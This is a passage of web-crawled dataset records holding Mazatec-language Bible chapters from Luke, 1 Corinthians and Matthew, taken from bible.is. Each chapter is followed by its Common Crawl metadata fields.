i̱sén‑nò! K'oa̱s'ín titsjoò koni kjoàn nga̱jo̱‑la̱ mik'en nga mìkiì tsejèn; k'e̱ nga binchimasòn xi̱ta̱, mìkiì beè mé xi jnchaya. 45K'e̱é kitsò jngoò jñà xi̱ta̱ chji̱ne̱ xo̱jo̱n: ―Maestro, k'e̱ nga k'oa̱s'ín nokjoì, ti̱koa̱á 'on nokjoàko̱‑náje̱n. 46Jesús kitsò: ―Ti̱koa̱á, ¡i̱ma̱ xó‑nò jñò xi xi̱ta̱ chji̱ne̱ xo̱jo̱n 'mì‑nò! Nga bìnè‑là kjo̱tíxoma‑nò xi̱ta̱ xi kj'ei̱í xi 'ñó 'in tjín nga mìkiì chíkjoa̱‑la̱ nga síkitasòn, ta̱nga jñò, ni̱ i̱tsé nìchját'aà‑là. 47'¡I̱ma̱ xó‑nò xi bìndaà chrjó‑la̱ mik'en ts'e̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá! Jñà xi̱ta̱ jchínga‑nò kisìk'en. 48K'oa̱á s'ín bitjo kixi̱ kjoa̱ nga tíjngoò‑takòn nga xi̱ta̱ jchínga tsa̱jòn kisìk'en xi̱ta̱ koi, koa̱ jñò, bìndaà chrjó‑la̱ mik'en. 49'Xi kjo̱hítsjeèn ts'e̱ Nainá kitsò‑né xi i̱t'aà ts'e̱ xi̱ta̱ jchínga‑nò ko̱ tsa̱jòn: \"Siìkasén xi̱ta̱ xi ki̱chja̱ ngajo‑na̱ ko̱ xi̱ta̱ xi 'a̱n kotiìxáya‑la̱; ta̱nga tjín xi si̱k'en koa̱ tjín xi kondra̱ kjoi̱ tji̱ngui‑la̱.\" 50Nainá kinda̱á si̱ìjé‑la̱ jñà xi̱ta̱ xi tjín i̱'ndei̱, jní xi kixíxteèn ngats'iì xi̱ta̱ xi k'en xi kiìchja̱ ngajo‑la̱ Nainá skanda k'e̱ nga ti̱sa̱ kisindaà i̱sò'nde; 51mats'ia̱ko̱‑ne Abel xi̱ta̱ xi k'en ítjòn skanda jè Zacarías xi jyehet'aà‑ne nga k'en; jè xi̱ta̱ xi k'en ya̱ i̱'nde jngoò osen‑la̱ ñánda tíjna Ni'ya Tsjeè‑la̱ Nainá ko̱ ñánda binchásòn kjo̱tjò xi tsjá‑la̱ Nainá jñà xi̱ta̱. K'oa̱á xán‑nò, jè Nainá si̱ìjé‑la̱ kinda̱ jñà xi̱ta̱ xi tjín i̱'ndei̱. 52'¡I̱ma̱ xó‑nò jñò xi̱ta̱ xi okoòya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés! Binchachjoà‑là xi̱ta̱ xi kj'ei̱í nga mìkiì kjoa̱has'en‑jiìn‑la̱ kjoa̱ chji̱ne̱‑la̱ Nainá; jñò, mìkiì bitjaàs'en‑jñoò ko̱ mìkiì biì'nde‑là xi kj'ei̱í xi̱ta̱ nga fahas'en‑jiìn kjoa̱ chji̱ne̱‑la̱ Nainá. 53K'e̱ nga jye o̱kitsò Jesús jñà 'én koi, jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá ko̱ xi̱ta̱ fariseo 'ñó tsibít'aà‑la̱ nga kjìn sko̱ya kjoa̱ kiskònangui‑la̱, 54ti̱koa̱ kisìkinda̱ nga skoe̱ mé 'én xi ki̱chja̱‑ìsa mé‑ne nga ko̱ma ko̱hòngui‑ne i̱t'aà ts'e̱ xi̱ta̱xá.\nSan Lucas 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/11","date":"2013-12-06T08:08:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050122\/warc\/CC-MAIN-20131204131730-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":1405,"character_repetition_ratio":0.067,"word_repetition_ratio":0.011,"special_characters_ratio":0.234,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Ko̱'sín jè isa̱ 'ñó nda tangí'ta‑la jè ra 'mì kjo̱tsjacha; tanga ti̱'koa̱á 'ñó tjatsji‑te jñà kjoa̱chji̱ne̱ ra tsjá jè Inìma̱ Tsje‑la̱ Nainá. Ko̱ jè ra isa̱ 'ñó chjí‑la̱, jé‑ní nga ki̱nákjoa̱ ngajo‑lá Nainá. 2Jè ra kj'ií 'én chja̱ ra mì yá xi̱ta̱ ma‑la̱ kótsò‑ni, mì tsa taxki̱ xi̱ta̱‑jìn ra tíchja̱‑la̱, jé sabá Nainá ra tíchja̱'ta‑la̱. Nga̱ mì kì yá ra machi̱ya‑la̱ 'én ra chja̱, ta nga̱tjì‑la̱, a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá nga tíchja̱'ma. 3Tanga jñà xi̱ta̱ ra Nainá chja̱ ngajo‑la̱, jñá chja̱‑la̱ xi̱ta̱, mé‑ni isa̱ nda katafìya‑la̱ ra a̱'ta 'tse̱ Nainá, ko̱ nga kata'ñó‑isa ikon, ti̱'koa̱ síje ikon nga'tsiòo̱. 4Jè ra kj'ií 'én chja̱ ra mì yá xi̱ta̱ ma‑la̱ kótsò‑ni, ta jé sakó‑la̱ nga'ñó; tanga jè ra chja̱ ngajo‑la̱ Nainá, 'kia̱ nga 'béna̱jmíya, jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá sakó‑la̱ nga'ñó. 5Mején‑na tsa nga'tsì‑najiòn ma‑no ki̱nákjoa̱a ra kj'ií 'én. Tanga isa̱á‑la ta nda‑ni tsa jè Nainá ki̱nákjoa̱ ngajo‑la. Nga̱ isa̱á 'ñó chjí‑la̱ jè ra Nainá chja̱ ngajo‑la̱, nda mí 'koa̱‑ni koni jè ra kj'ií 'én chja̱, ra mì yá xi̱ta̱ ma‑la̱ kótsò‑ni. Kja̱ ta̱ jngoó‑la tsa tjín xi̱ta̱ ra ma‑la̱ si̱ikatoya kótsò‑ni 'én ra̱kìi̱, mé‑ni isa̱ nda sa̱kò‑isa‑la̱ nga'ñó xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 6Jiòn 'ndsé ko̱ tichjeé, 'koa̱á 'sín jngoya‑la̱, tsa 'kia̱ 'a̱n ra kijchò'tsè‑najiòn, tsa ta kj'ií 'én kichjà‑najiòn jè ra mì kì ko̱chi̱ya‑no, ¿mé kjo̱nda ra sa̱kò‑najiòn, tsa mì tsa jè kichjà‑najiòn jè 'én ra Nainá síchi̱ya‑na, ko̱ jè kjo̱bítsjen ra tsjá Nainá, ko̱ jñà 'én ra 'a̱n chjà ngajo‑la̱ Nainá nga bakon‑yá‑najiòn? 7Skanda jñà tsajmì‑la̱ xi̱ta̱ ra síkjane, ¿kó'sín jcha̱‑la̱ ñáa̱‑ni ra tífane, tsa mì kja̱ kj'ií kja̱ kj'ií ki̱tso̱ jta̱‑la̱ nga jngó jngóo̱, koni tsa jè chrjoo̱ ko̱ jè ní'ñó? 8'Koa̱á jngoya‑la̱ jè chrjoo̱ ra 'tse̱ xi̱ta̱ kjo̱jchán, tsa mì kì nda ski̱'ndá, ¿kó'sín ma‑ni nga kítsa̱jnanda nga ki̱ì'tsia̱ kjo̱jchán? 9'Koa̱á ti̱'sín ma ra a̱'ta tsa̱jiòn, tsa mì kì jñà ki̱nákjoa̱ jiòn 'én ra nda fìya‑ná, ¿kó'sín ma jcha̱‑la̱ mé 'én‑ni ra i̱nchinakjoá jiòn? Tsa mì kì yá ra ki̱ya‑la̱ kótsò‑ni, koni tsò‑ni kjoa̱, ta i̱sén‑la i̱nchinakjoá‑jin jiòn. 10Kixi̱í kjoa̱ taxki̱ kjín‑la ndi̱yá‑la̱ 'én ra tjín ta nga tíjngo ya̱ i̱sà'nde, tanga chja̱á‑ni kó'sín tsò nga jngó jngó sko̱ya 'én. 11Tsa mì kì fìya‑na ra 'a̱n kó'sín tsò‑ni 'én ra tíchja̱ jngo xi̱ta̱, 'koa̱á 'sín ko̱ma‑na nga jè xi̱ta̱ ra̱kìi̱, xín i̱'nde‑la̱. Ko̱ ti̱'koa̱á ra jè, 'koa̱á 'sín ko̱ma‑la̱ nga xìn i̱'ndeé tsa̱'a̱n, ta nga̱tjì‑la̱ nga̱ mì kì kji̱'nchré jñà 'én ra chjàa̱ ra 'a̱n. 12Ra jiòn, ta jé 'ñó fatsjio jñà kjoa̱chji̱ne̱ ra tsjá jè Inìma̱ Tsje‑la̱ Nainá, tanga isa̱á nda‑ni nga jè isa̱ 'ñó tjatsjio jè kjoa̱chji̱ne̱ ra ko̱ma ko̱si̱ko̱'ta jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá nga isa̱ nda 'se̱‑isa‑la̱ nga'ñó. 13'Koa̱á ma‑ni, jè xi̱ta̱ ra kj'ií tsò 'én ra chja̱, katasíjé'ta‑la̱ Nainá mé‑ni nga 'se̱‑la̱ nga'ñó nga ma 'ke̱èna̱jmíya kótsò‑ni jè 'én ra chja̱. 14'A̱n, 'kia̱ nga chjà'tà‑la̱ Nainá tsa kj'ií tsò 'én ra tíchjàa̱, jè ra ni̱ mì 'a̱n fìya‑na, tà jé inìma̱‑na̱ ra tíchja̱, tanga jè kjo̱bítsjen‑na̱, mì kì mé nga'ñó sakò‑la̱. 15Tanga, ¿mé ra 'siaa̱n tsa 'koa̱? Jé‑la ra machjeén, 'kia̱ nga kitsá'ba‑la̱ Nainá, 'koa̱á 'sín kichjà'ta‑la̱ koni 'sín jè Inìma̱ Tsje‑la̱ Nainá síchi̱ya‑la̱ inìma̱‑na̱, tanga ko̱ó jngo 'én ra ti̱'koa̱á 'a̱n fìya‑na. Tsa 'kia̱ nga see̱ ra a̱'ta 'tse̱, 'koa̱á 'sín see̱ koni 'sín jè Inìma̱ Tsje‑la̱ Nainá si̱ichi̱ya‑na, tanga jngoó so ra ti̱'koa̱á 'a̱n fìya‑na. 16'Kia̱ nga ki̱nákjoa̱'ta‑la̱ Nainá koni 'sín nga si̱ichi̱ya‑li jè Inìma̱ Tsje‑la̱, tsa ta jñá 'én ki̱nákji̱i ra mì yá xi̱ta̱ machi̱ya‑la̱, ¿kó'sín ko̱ma‑ni ki̱tso̱ xi̱ta̱ ra ká'nchré‑li: \"Ko̱'sín katama koni 'sín nga kasi\", tsa mì kì kàfìya‑la̱ jè 'én ra kanakjí? 17Kixi̱í‑la kjoa̱, ndaá‑la tjín koni 'sín nga 'bì‑la̱ ji̱ kjo̱nda Nainá, tanga ni̱mé nga'ñó sa̱kò‑la̱ jñà ra ká'nchré‑li, nga̱ mì kì kàfìya‑la̱ koni 'sín nga kasi. 18'A̱n, tsjaá‑la̱ kjo̱nda Nainá nga̱ isa̱á nda ma‑na chjà 'én ra mì kì tsa yá xi̱ta̱ fìya‑la̱; tanga ra jiòn, mì tsa ko̱'sín nda nakjoá jiòn. 19Tanga ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá, isa̱á‑la nda‑ni tsa tà 'òn 'én kichjà‑la̱ ra kjo̱bítsjen tji̱ko̱, mé‑ni nga ma 'kenájmíya‑la̱ ra kj'ií xi̱ta̱ ko̱ mì 'koa̱‑ni tsa te jmi 'én kichjàa̱ ra kj'ií tsò ra mì yá ki̱ya‑la̱. 20Jiòn 'ndsé ko̱ tichjeé, kì ko̱'sín níkítsjen koni tsa i̱xti. Tanga ra a̱'ta 'tse̱ kjoa̱'cho, ko̱'sín 'tia̱àn koni jñà i̱xti ra kjè kì fìya‑la̱. Tanga ra a̱'ta 'tse̱ kjo̱bítsjen‑no, tjaya jchá‑la takòn. 21'Koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"'A̱án sikásén‑la̱ xi̱ta̱ ra xìn nangi ko̱ ra kj'ií 'én chja̱, nga kichjà‑la̱ na̱xi̱ndá‑na̱; takó mì kì kji̱'nchré‑na, ni̱'sín ko̱'sín sikóo̱, tsó Na̱'ín‑ná.\" 22'Kia̱ nga nakjé 'én ra mì yá xi̱ta̱ machi̱ya‑la̱, jngoó kjo̱xkón tíbakón‑la̱ Nainá jñà xi̱ta̱ ra mì kì makjiín‑la̱, mì tsa jñà‑jìn xi̱ta̱ ra ijye makjiín‑la̱. Tanga 'kia̱ nga nakjoá ngajo‑lá Nainá, jñà tínakjoá‑la̱ xi̱ta̱ ra ijye makjiín‑la̱ mì tsa jñà‑jìn ra kjè kì makjiín‑la̱. 23Tsa 'kia̱ nga ko̱xkóya na̱xi̱ndá‑la̱ Nainá, tsa kj'ií tsò 'én ki̱chja̱ nga'tsiòo̱ ra mì kì yá xi̱ta̱ machi̱ya‑la̱, ko̱ tsa 'kia̱ chi̱ba̱‑la̱ kjoa̱ha'sen jngo xi̱ta̱ ra kjè tsa ya̱ bijchó ra mì kì makjiín‑la̱ 'én‑la̱ Nainá, ¿a mí tsa ki̱tso̱: \"Skáa̱‑la̱ jñà xi̱ta̱ kìi̱\"? 24Tanga tsa nga'tsì‑no, jè Nainá i̱nchinakjoá ngajo‑la, ko̱ tsa 'kia̱ chi̱ba̱‑la̱ kjoa̱ha'sen jngo xi̱ta̱ ra kjè kì tsa ya̱ bijchó ra mì kì makjiín‑la̱ 'én‑la̱ Nainá, tsa kji̱'nchré‑no koni 'sín nga i̱nchinakjoá ngajo‑la Nainá, ko̱kjiín‑la̱ ko̱ ti̱'koa̱á ko̱chi̱yaá‑la̱ nga xi̱ta̱ jé‑ní. 25Ya̱á jcha̱‑la̱ nga'tsì kjoa̱'cho ra tjíjin inìma̱‑la̱ ko̱ ko̱se̱n-xkó'nchi‑ní nga ko̱se̱n-niñanè i̱sén‑la̱ ya̱ a̱'ta nángi nga ske̱xkón Nainá ko̱ 'koa̱á 'sín ki̱tso̱ nga kixi̱í kjoa̱ nga ya̱á tíjnajin kiti‑no Nainá. 26Jiòn 'ndsé ko̱ tichjeé, ¿kó tsò‑ni kjoa̱ kìi̱? Tsó‑ni, 'kia̱ nga ko̱xkóya jiòn nga jeya si̱kíjna Nainá, jngó jngó‑no ti̱nga̱tsja kjo̱tjò‑no Nainá; jngo ra katase, jngo ra katabakón‑ya, jngo ra kata'béna̱jmí kó'sín nga Nainá tísíchi̱ya‑la̱, ko̱ jngo ra kj'ií 'én katachja̱ ra mì yá xi̱ta̱ machi̱ya‑la̱, ko̱ jngo katasíkatoya‑ni 'én ra̱kìi̱. Ko̱'sín 'tia̱àn nga jngó jngó‑no mé‑ni isa̱ tse nga'ñó kata'se-isa‑no, jiòn ra na̱xi̱ndá‑la̱ Nainá 'mì‑no. 27Tsa 'kia̱ nga mejèn‑no ki̱nákjoa̱a 'én ra kj'ií tsò ra mì yá xi̱ta̱ machi̱ya‑la̱, machjeén‑ní tsa ta jò, ko̱ tsa ta jàn xi̱ta̱ katachja̱; tanga jngó jngó katachja̱; ko̱ jngo ra katasíkatoya‑ni kó'sín tsò‑ni 'én kìi̱. 28Tsa tsìn ra ma‑la̱ síkatoya‑ni 'én kìi̱, tà jyò katitsa̱hijyo jnchro ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá; ta ya̱á a̱jin inìma̱‑la̱ katabáko̱ Nainá. 29'Koa̱á ti̱'sín tjín a̱'ta 'tse̱ xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá; tsa jò ko̱ tsa jàn ma‑ni, tjíné‑la̱ nga jngó jngó ki̱chja̱ mé‑ni nga jñà xi̱ta̱ ra i'ka ra kji̱'nchré, jñá‑ní ra ki̱tso̱‑ni a ndaá tjín o̱ ra majìn‑ní. 30Tsa ki̱tjojin jngo ra ya̱ títsa̱jna nga ki̱tso̱: \"Jngo 'én tísíchi̱ya‑na Nainá\", machjeén‑ní nga jè ra tíchja̱ ítjòn katatsjá'nde‑la̱ nga katachja̱ mé 'én ra tísíchi̱ya‑la̱ Nainá. 31'Koa̱á 'sín ko̱ma nga nga'tsì ra ma‑no nakjoá ngajo‑la̱ Nainá, nga ko̱maá jngó jngó 'kéna̱jmíya mé‑ni nga isa̱ nda ko̱chi̱ya-isa‑no ko̱ sa̱kò-isa‑no ra kjo̱tsja. 32Jñà xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá, jñá tjín‑la̱ kinda̱ kó'sín nga ki̱chja̱ ngajo‑la̱ Nainá. 33Nga̱ jè Nainá, mì kì sasén‑la̱ ñánda̱ tjín kjo̱si ko̱ ñánda̱ nga ta tjín ta ma kjoa̱. Ya̱á sasén‑la̱ ñánda̱ nga tjín kjoa̱'nchán. Koni 'sín chon tíjngo ñánda̱ nga maxkóya xi̱ta̱‑la̱ Nainá, 34machjeén‑ní nga jñà íchjín jyò katitsa̱jna 'kia̱ nga tímaxki̱ya 'én‑la̱ Nainá, nga̱ mì kì tjí'nde‑la̱ nga ma ki̱chja̱; koni 'sín tsò‑te jè kjo̱téxoma, nga jñà íchjín tjínè‑la̱ nga ta kji̱'nchré. 35Tsa mé kjoa̱ ra mejèn‑la̱ ske̱, 'kia̱á katakjìnangi‑la̱ 'xi̱n‑la̱ 'kia̱ nga ki̱jchò‑ni ni'ya‑la̱. Nga̱ mì kì nda tjín nga jngo chjo̱ón ya̱ ki̱chja̱jin ñánda̱ nga maxkóya na̱xi̱ndá‑la̱ Nainá. 36¿A 'koa̱á 'sín níkítsjen jiòn, nga a̱'ta tsa̱jión kjo'tsia̱‑ni 'én‑la̱ Nainá? ¿O̱ ra 'koa̱á ma‑no nga ta jiòn ki'sena̱jmíya‑no? 37Tsa titsa̱hijyo i'ka jiòn ra ko̱'sín síkítsjen nga maá‑la̱ chja̱ ngajo‑la̱ Nainá ko̱ tsa 'koa̱á 'sín tsò nga jè Inìma̱ Tsje‑la̱ Nainá ko̱'sín tísíchi̱ya‑la̱, 'koa̱á 'sín nda katasijin‑la̱ nga jñà 'én ra ko̱tíxian, 'tse̱é Na̱'ín‑ná jè kjo̱téxoma ra tísichjée̱n. 38Tsa tjín jngo xi̱ta̱ ra mì kì ske̱xkón 'én ra tíchjàa̱, ti̱'koa̱á jè xi̱ta̱ ra̱kìi̱, mì kì jcha̱xkón. 39Ndí 'ndsè, 'ñó tjatsjio nga ki̱nákjoa̱ ngajo‑la Nainá, ko̱ kì tà chjàn batechjà‑la jñà ra chja̱ 'én ra kj'ií tsò, ra mì yá xi̱ta̱ fìya‑la̱. 40Tanga jé ra machjeén nga nda kjón‑ní ti̱hitjasòn nga'tsì kjoa̱ kìi̱, nga ndi̱yá ndi̱yá kjón‑ní nga tahíko̱o.\n1 Corintios 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/14","date":"2013-12-09T17:01:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163990989\/warc\/CC-MAIN-20131204133310-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":1331,"character_repetition_ratio":0.078,"word_repetition_ratio":0.005,"special_characters_ratio":0.247,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"42Jesús kitsó‑la̱: ―¿A kjeé chitá'yá jè Xa̱jo̱n‑la̱ Nainá ra tsò?: Jè na̱jo̱ ra tsachrjengi jñà xi̱ta̱ ra bínda chrjó, jé tíma‑ni na̱jo̱ nga'ñó ra síjna ítjòn ya̱ nga chrja̱ngi̱‑la̱ ni'ya. Jé Nainá ra ko̱'sín tí'sín. Ko̱ ta maxkón‑ná 'kia̱ nga 'yeé jñà kjoa̱ kìi̱.\nSan Mateo 21:42\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/42","date":"2013-12-07T23:45:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163056101\/warc\/CC-MAIN-20131204131736-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000011920928955}","num_words":49,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1I̱'ndei̱ ndí 'ndsè ko̱ tichjaá, 'a̱n mejèn‑na nga sìkítsjeèn‑nò jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n kichjàyajiìn‑nò xi kichjoétjò ko̱ nga kixi̱ titsa̱jnako̱o. 2Jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ko̱ma ko̱chrjejiìn‑nò kjo̱'in tsà kixi̱ titsa̱jnako̱o skanda i̱'ndei̱ koni s'ín nga kichjàyajiìn‑nò nga ti̱sa̱ ítjòn; tsà majìn, ni̱mé chjí‑la̱ nga kòkjeiín‑nò. 3Jè kjoa̱ xi ìsa̱ 'ñó tjín, jè‑né nga ko̱s'ín tsakoòya‑nò koni tjín xi 'a̱n kitjoé‑na, nga jè Cristo k'en ngajo‑ná xi kjoa̱ ts'e̱ jé‑ná nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá; 4nga kisìhijiìn, koa̱ nga ijchò jàn na̱chrjein jaáya‑la̱, koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá. 5K'e̱ nga jaáya‑la̱, tsakó‑la̱ yijo‑la̱ jè Cefas [ti̱jè‑ne Pedro], i̱kjoàn tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ xi i'nga, ya̱ tejò ma‑ne ko̱ Pedro. 6Xi komà i̱skan, tsato 'òn sìndo̱ ma‑ne xi̱ta̱ 'ndsè xi títsa̱jnajtín nga tsakó‑la̱ yijo‑la̱. Jñà xi̱ta̱ koi, tjín i'nga xi jye k'en, ta̱nga kjìn ma xi tákó títsa̱jnakon skanda i̱'ndei̱. 7I̱kjoàn tsakó‑la̱ yijo‑la̱ jè Jacobo. Xi komà i̱skan tsakó yije‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ xi tsibíxáya‑la̱. 8Xi jyehet'aà‑ne, i̱kjoàn 'a̱án tsakó‑na yijo‑la̱. 'A̱n, k'oa̱á s'ín ngaya‑la̱ koni tsà jngoò ki'ndí xi mì jé na̱chrjein kits'iìn koni s'ín chíya na̱chrjein‑la̱. 9'A̱n‑ná xi ìsa̱ 'ñó nangui tìjna̱‑la̱ kóho̱tjín jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. Skanda mìkiì ok'ìn‑na nga k'oa̱s'ín k'oín‑na; nga 'a̱án kiìtji̱ngui kondra̱‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. 10Ta̱nga jè kjo̱ndaà‑la̱ Nainá ndaà tsasìko̱‑na; k'oa̱á komà‑ne nga 'a̱n tsibíxáya‑na. Jè kjo̱ndaà‑la̱, mìtsà tà kjo̱tjò kitsjaà‑na. Ta̱nga 'a̱n, ìsa̱á 'ñó kisìxá mì k'oa̱‑ne koni ngats'iì xi̱ta̱‑la̱ xi i'nga. Kixi̱í kjoa̱, mìtsà nga'ñó ts'a̱n, kjo̱ndaà ts'e̱é Nainá. 11Tsà 'a̱n‑ná, ko̱ tsà jñà xi̱ta̱‑la̱ xi i'nga xi ndaà síxá, ta̱nga jè xi chjí‑la̱ nga k'oa̱ s'ín nokjoàya‑je̱n, koa̱ jñò, k'oa̱á s'ín mokjeiín‑nò. 12K'oa̱á s'ín tínokjoáya nga jè Cristo jaáyajiìn‑la̱ xi̱ta̱ xi jye k'en, ta̱nga, ¿mé‑ne tjín i'nga‑ne xi̱ta̱ xinguio̱o xi tsò: \"Jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱.\"? 13Tsà mìkiì kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en, ti̱koa̱á jè Cristo, mì‑la tsà kixi̱ kjoa̱ nga jaáya‑la̱. 14Tsà mìkiì jaáya‑la̱ Cristo, jñà 'én xi nokjoàya‑je̱n ni̱mé‑la chjí‑la̱, ti̱koa̱á ni̱mé‑la chjí‑la̱ koni s'ín mokjeiín‑nò. 15Ti̱koa̱á ngaje̱n, xi̱ta̱ ndisoó kítjokàngui‑je̱n i̱t'aà ts'e̱ Nainá, nga̱ k'oa̱á s'ín nokjoàya‑je̱n 'én‑la̱ Nainá nga bixón‑je̱n: \"Jè Nainá kisìkjaáya‑la̱ Cristo.\" Nga tsà jñà mik'en mìkiì kjoa̱áya‑la̱, mì‑la tsà kixi̱ kjoa̱ nga kisìkjaáya‑la̱ Cristo. 16Tsà jñà xi̱ta̱ xi jye k'en mìkiì kjoa̱áya‑la̱, ti̱koa̱á jè Cristo mì‑la tsà kixi̱ kjoa̱ nga jaáya‑la̱. 17Jè Cristo, tsà mìkiì jaáya‑la̱, ni̱mé‑la chjí‑la̱ koni s'ín mokjeiín‑nò i̱t'aà ts'e̱, tákó ya̱á‑la titsa̱jnajñoò jé‑nò. 18Ti̱koa̱á jñà xi̱ta̱ xi jye k'en nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo, jngoò k'aá‑la kichijà, tsà mì jaáya‑la̱ Cristo. 19Jè kjoa̱ xi chiñà‑lá i̱t'aà ts'e̱ Cristo, tsà tà i̱í i̱sò'nde kjoe̱het'aà, jñá‑la xi nguì xi̱ta̱ i̱ma̱ 'mì‑ná kó ngats'iì xi̱ta̱ xi tjín i̱sò'nde. 20Ta̱nga nguì kixi̱í kjoa̱ nga jè Cristo jaáyaá‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà. K'oa̱á ngaya‑la̱ koni tsojmì xi majchá ítjòn, nga jè Cristo jaáya ítjòn‑la̱ ngats'iì xi̱ta̱ xi i̱skan kjoa̱áya‑la̱ [nga mì ti̱ kiì ki̱yá‑ne]. 21Koni s'ín komà nga i̱t'aà ts'e̱ jngoò xi̱ta̱ kjòts'ia̱ nga biyaà xi̱ta̱, k'oa̱á ti̱s'ín komà nga i̱t'aà ts'e̱ jngoò xi̱ta̱ j'iì nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en. 22Koni s'ín ma nga biyaà ngats'iì xi̱ta̱ xi i̱t'aà ts'e̱ tje̱‑la̱ Adán kits'iìn, k'oa̱á ti̱s'ín ma nga kjoa̱áyaá‑la̱ ngats'iì xi̱ta̱ xi i̱t'aà ts'e̱ Cristo ts'iìn xi̱tse̱‑ne. 23Ta̱nga jngoò ìjngoò 'ncha ndi̱yá‑né nga kjoa̱áya‑la̱ koni s'ín oko̱‑la̱. Jè Cristo, tíjna ítjòn nga jaáya‑la̱; k'e̱ nga kjoi̱í ìjngoò k'a Cristo, k'e̱é kjoa̱áya‑la̱ xi xi̱ta̱ ts'e̱. 24Cristo, ítjòn si̱ìkjehesòn ngats'iì xi kondra̱ fì‑la̱, ngats'iì xi títsa̱jna ítjòn, xi tjín‑la̱ nga'ñó ko̱ xi otíxoma. I̱kjoàn jè Cristo si̱ìnga̱tsja kjo̱tíxoma‑la̱ Nainá xi Na̱'èn‑ná ma; k'e̱é kjoe̱het'aà i̱sò'nde. 25Mochjeén‑né nga jè Cristo kàtatíxoma skanda k'e̱ nga jye si̱ìkítsa̱jnangui yije ndso̱ko̱ jñà xi kondra̱‑la̱. 26Ko̱ jè kondra̱‑la̱ xi fehet'aà‑ne nga chi̱ja, jé kjoa̱ biyaà. 27Ni̱ta̱ mé xi tjín, Nainá, ya̱á kisìkítsa̱jnangui yije ndso̱ko̱ Cristo. Jè tíhotíxoma yije‑la̱. Ta̱nga mìtsà tsò‑ne kjoa̱ nga jè Nainá, ya̱á tíjnangui ndso̱ko̱ Cristo. Nga jè sobá Nainá xi kisìkítsa̱jnangui ndso̱ko̱ ni̱ta̱ mé xi tjín. 28K'e̱ nga jye ya̱ títsa̱jnangui yije ndso̱ko̱ Cristo ni̱ta̱ mé xi tjín, jè Cristo, nga Ki'ndí‑la̱ Nainá ma, ti̱koa̱á nangui si̱ìkíjna yijo‑la̱ nga nguixko̱n Nainá nga jè sobà Nainá tsibítsa̱jnangui ndso̱ko̱ Cristo ni̱ta̱ mé xi tjín, mé‑ne nga jè Nainá jngoò k'aá jè kíjna ítjòn‑la̱ ni̱ta̱ mé kjoa̱‑ne. 29Ta̱nga tsà jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱, jñà xi̱ta̱ xi i̱t'aà ts'e̱ mik'en ma‑ne bautizar, ¿kó s'ín síkítsjeèn? ¿Mé‑ne i̱t'aà ts'e̱ mik'en ma‑ne bautizar, tsà kixi̱ kjoa̱ nga mì ti̱ kiì kjoa̱áya‑la̱ xi̱ta̱? 30Ko̱ ngaje̱n, ¿mé kjoa̱‑ne nga na̱chrjein nchijòn binchaxkón‑la̱je̱n yijo‑naje̱n, tsà mì ti̱ kiì kjoa̱áya‑la̱ xi̱ta̱? 31Ndí 'ndsè ko̱ tichjaá, k'oa̱á xan‑nò nga nguì kixi̱í kjoa̱ nga na̱chrjein nchijòn tjín‑na kjo̱xkón tsà ya̱ ki̱yá, koni s'ín nga nguì kixi̱í kjoa̱ nga matsja‑na i̱t'aà tsa̱jòn nga ngásòn mokjeiín‑ná i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 32Tsà tà jñà kjoa̱ ts'e̱ i̱sò'nde‑né nga 